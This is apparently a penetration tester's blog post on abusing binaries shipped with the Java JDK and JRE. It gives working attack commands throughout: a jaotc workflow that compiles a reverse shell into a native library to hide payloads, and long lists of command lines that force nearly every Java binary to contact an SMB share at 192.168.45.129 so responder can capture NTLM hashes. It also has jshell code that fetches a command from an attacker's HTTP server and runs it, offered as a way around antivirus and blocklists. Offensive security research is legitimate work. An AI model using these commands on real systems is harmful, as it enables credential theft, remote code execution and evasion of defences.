Back in 2018 I blogged about how java gives a shell for everything, and also how to compile in memory as an AV Evasion technique. Some of these techniques have now been added into gtfo bins, and heroes even integrated them into metasploit.
In this post I go through the most recent JDK/JRE and look for new features Pentesters may find useful. Apologies for this reading a bit like a shotgun blast of information. But this is essentially the notes I took as I poked around in the order I did it. I am personally most interested in the last part with “jshell” if you want to see just one part then go there.
There are two major versions of Java:
If you have landed on a laptop or workstation the chances are only the JRE is installed unless the user is a developer. If you land on a server which hosts a website powered by Java you probably have the JDK installed. There are far more binary commands bundled in the JDK than the JRE so there is more scope for naughtiness with the JDK.
I downloaded the most recent Windows JRE and JDK and compared the list of executables in the “/bin” folder. The raw data is in this spreadsheet. The short version is that these are the binaries which are shared between the JRE and JDK:
Shared |
jabswitch |
java |
javaw |
keytool |
kinit |
klist |
ktab |
rmid |
rmiregistry |
If you find something that works in these binaries then you should congratulate yourself for finding a universal Java technique.
Other points of note from the spreadsheet:
I can confirm that Nashorn worked in “jjs.exe” for the most recent JRE:
And that it did not work out of the box for “jrunscript.exe” in the most recent JDK:
While the binary exists it has been neutered unless Nashorn has been added separately.
Last time I gave JavaScript commands that you could type into a JJS prompt which would give you a reasonably interactive command prompt. The reason for doing this is to get a functional command prompt in an environment where maybe powershell.exe, cmd.exe, and ftp.exe etc are all blocked. In that universe “jjs.exe” worked no problem. I mean where exclude lists are used instead of allow lists for running binaries.
This time I properly RTFM and spotted this nugget:
If you run “jjs” with “-scripting=true” then it will give you access to the “$EXEC()” function. This can be used to execute local commands within JJS without needing to type in any JavaScript:
A minor improvement depending on how you want to look at it. It is a little inconvenient typing “$EXEC()” every time. So you can save a few keystrokes with a simple function that shortens it:
But then I got intrigued by what other binaries were hanging around in a modern JDK install. So I looked into the contents of the “bin” folder again.
I spotted a new binary called “jaotc” which has a useful tutorial here. Jaotc is summarised as:
“The Java static compiler that produces native code for compiled Java methods”
Ears of hackers must have pricked up there. Did you say “native code”? Can confirm it did. It aims to make faster Java apps by allowing you to convert a class to native code.
It will compile a class file into a “.so” library. Lets assume you have a reverse shell in “rev.java” your work flow is like this:
javac rev.java jaotc --output rev.so rev.class
Line 1 compiles it into normal Java Bytecode.
Line 2 converts that to a native library.
If you run the file command it is now an ELF binary:
file rev.so rev.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, not stripped
Who knows what transforms have just gone on to make that magic work. The transforms might be useful for hiding payloads. I am not a reverse engineer by any stretch of the term so I have probably not grasped the hacking potential of this.
To run your library via Java you need to do this:
java -XX:+UnlockExperimentalVMOptions -XX:AOTLibrary=./rev.so
Note: at the moment this is an experimental option so you need the “UnlockExperimentalVMOptions” argument.
It will work on Linux and on Windows Linux Subsystem. There is no support for compiling “.dll” files so this is going to be a niche choice, and I am not entirely sure how to use it for nefarious purposes today. A pin in that for later maybe.
JDK/JRE binaries allow input files within their command line arguments. These accept UNC paths so can be used to trigger DNS resolution. If you are on the same network (or the Firewall is crazy and allows SMB outbound) then you can use responder to capture NTLM hashes:
Note: I have a recent post which includes a bit on how to crack these hashes.
JDK/JRE binaries have a myriad of options which handle file paths. I stopped looking when I found one way to do it per binary or I had spent longer than 5 minutes looking. Therefore this is not exhaustive and there will be more:
jar -v -t --file=\\192.168.45.129\test jarsigner-verify \\192.168.45.129\test java \\192.168.45.129\test javac \\192.168.45.129\test javadoc \\192.168.45.129\test javap \\192.168.45.129\test jcmd 1 -f \\192.168.45.129\test jdeprscan.exe \\192.168.45.129\test jdeps \\192.168.45.129\test jfr metadata \\192.168.45.129\test jhsdb clhsdb --core \\192.168.45.129\test --exe test.exe # Do not use this jimage info \\192.168.45.129\test jlink --module-path \\192.168.45.129\test jmap -histo:live,file=\\192.168.45.129\test <pid> # Requires PID for valid Java Process jmod list \\192.168.45.129\test jpackage --input \\192.168.45.129\test --main-jar test jrunscript.exe -cp \\192.168.45.129\test jshell \\192.168.45.129\test kinit -c \\192.168.45.129\test klist -c -f FILE:\\192.168.45.129\test ktab -k FILE:\\192.168.45.129\test rmid -log \\192.168.45.129\test
Note: the “jhsdb” command opens its own command prompt interface which would remain open if you had a victim open it. While it did result in an SMB handshake I would not advise using this.
In addition to those above, I found an almost universal way to trigger an SMB interaction. Most binaries would run a JVM when they execute, which makes sense because they are made in Java. The JVM supports various options. The “Xloggc” option (or the incoming “-Xlog:gc” syntax) can specify the location for a log file whenever the JVM does garbage collection. It accepts UNC paths.
The beautiful thing is that this triggers an SMB connection as the JVM loads meaning that you do not need to supply valid command line arguments to the binary you are launching. This saves a lot of effort reading “–help”.
The following is a list of examples that worked for the most recent JDK binaries:
jaccessinspector.exe -J-Xloggc:\\192.168.45.129\test jarsigner.exe -J-Xloggc:\\192.168.45.129\test javadoc -J-Xloggc:\\192.168.45.129\test javap -J-Xloggc:\\192.168.45.129\test javaw -Xloggc:\\192.168.45.129\test # This causes a GUI popup error jcmd -J-Xloggc:\\192.168.45.129\test jconsole -J-Xloggc:\\192.168.45.129\test # This causes a GUI popup error jdb -J-Xloggc:\\192.168.45.129\test jdeprscan -J-Xloggc:\\192.168.45.129\test jdeps -J-Xloggc:\\192.168.45.129\test jfr -J-Xloggc:\\192.168.45.129\test jhsdb -J-Xloggc:\\192.168.45.129\test jimage -J-Xloggc:\\192.168.45.129\test jinfo -J-Xloggc:\\192.168.45.129\test jlink -J-Xloggc:\\192.168.45.129\test jmap -J-Xloggc:\\192.168.45.129\test jmod -J-Xloggc:\\192.168.45.129\test jpackage -J-Xloggc:\\192.168.45.129\test jps -J-Xloggc:\\192.168.45.129\test jrunscript -J-Xloggc:\\192.168.45.129\test jshell -J-Xloggc:\\192.168.45.129\test jstack -J-Xloggc:\\192.168.45.129\test jstat -J-Xloggc:\\192.168.45.129\test jstatd -J-Xloggc:\\192.168.45.129\test keytool -list -J-Xloggc:\\192.168.45.129\test kinit -J-Xloggc:\\192.168.45.129\test klist -J-Xloggc:\\192.168.45.129\test ktab -J-Xloggc:\\192.168.45.129\test rmid.exe -J-Xloggc:\\192.168.45.129\test rmiregistry -J-Xloggc:\\192.168.45.129\test serialver -J-Xloggc:\\192.168.45.129\test
Pretty much every binary in the JDK supported this approach!
As the “java” command runs the JVM directly there is a no need for the “-J-” part so this is the syntax for doing the same there:
java -Xloggc:\\192.168.45.129\test
When a binary existed in both the JDK and JRE there were subtle differences. For example, the JDK version of “javaw” required the “-J-” syntax, while the JRE version worked using “-Xloggc” directly.
As always experiment on your own computer before attempting the technique on a victim’s PC. That nugget of advice is pure gold and will save you thousands of wasted hours.
This command was new to me and its name immediately stood out as potentially useful. This makes Java an interpreted language!!! You can write whatever Java you want and it executes it exactly the same way as using the Python interpreter for example:
InputStream inputStream = new URL("http://192.168.45.129/test").openStream(); String cmd = new BufferedReader(new InputStreamReader(inputStream)).lines().collect(Collectors.joining("\n")); Process proc = Runtime.getRuntime().exec(cmd); String result = new BufferedReader(new InputStreamReader(proc.getInputStream())).lines().collect(Collectors.joining("\n"));
The above will download a file over HTTP and save the contents of the file into the “cmd” String. It will then run that command and save the output to the “result” string. The screenshot below shows this operating:
I saved the command “whoami” in the “test” file which was then served using a python HTTP listener like this:
python -m SimpleHTTPServer 80
You can see that above in the line saying cmd ==> “whoami”.
Additionally, you can store Java commands in a .jsh file and then have them execute as shown:
If you save the above example into “whatever.jsh” it will run the commands blindly and you won’t see what was run. If you type “result” though the output from the command will be there. This puts your payload on Disk where it is more likely to be gobbled by AV.
There is a nice tutorial for jshell here. To me this has the same impact as “jrunscript” and “jjs” did before for Nashorn. Only now you are writing payloads in Java instead of JavaScript.
This thing is gorgeous and I love it because it is another scripting language essentially and one which may be a blind spot.